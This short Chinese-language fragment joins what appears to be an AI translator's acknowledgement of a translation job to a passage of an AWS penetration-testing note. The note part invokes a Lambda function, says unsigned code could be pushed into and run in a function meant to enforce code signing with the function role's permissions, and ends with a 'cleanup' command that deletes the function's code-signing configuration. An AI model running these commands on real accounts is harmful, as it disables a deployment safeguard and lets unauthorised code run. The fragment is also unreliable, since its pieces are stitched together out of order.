已收到。确认将按要求翻译指定文件的相关英文为中文,保持原有 Markdown/HTML 语法不变;不翻译代码、技术名词、常见攻防词、云平台名、链接/路径和标签;不添加额外内容。请提供要翻译的文件内容。
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
潜在影响:能够将任意未签名代码推送并在本应强制签名部署的函数中运行,可能导致以该函数角色的权限执行代码。
Cleanup:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```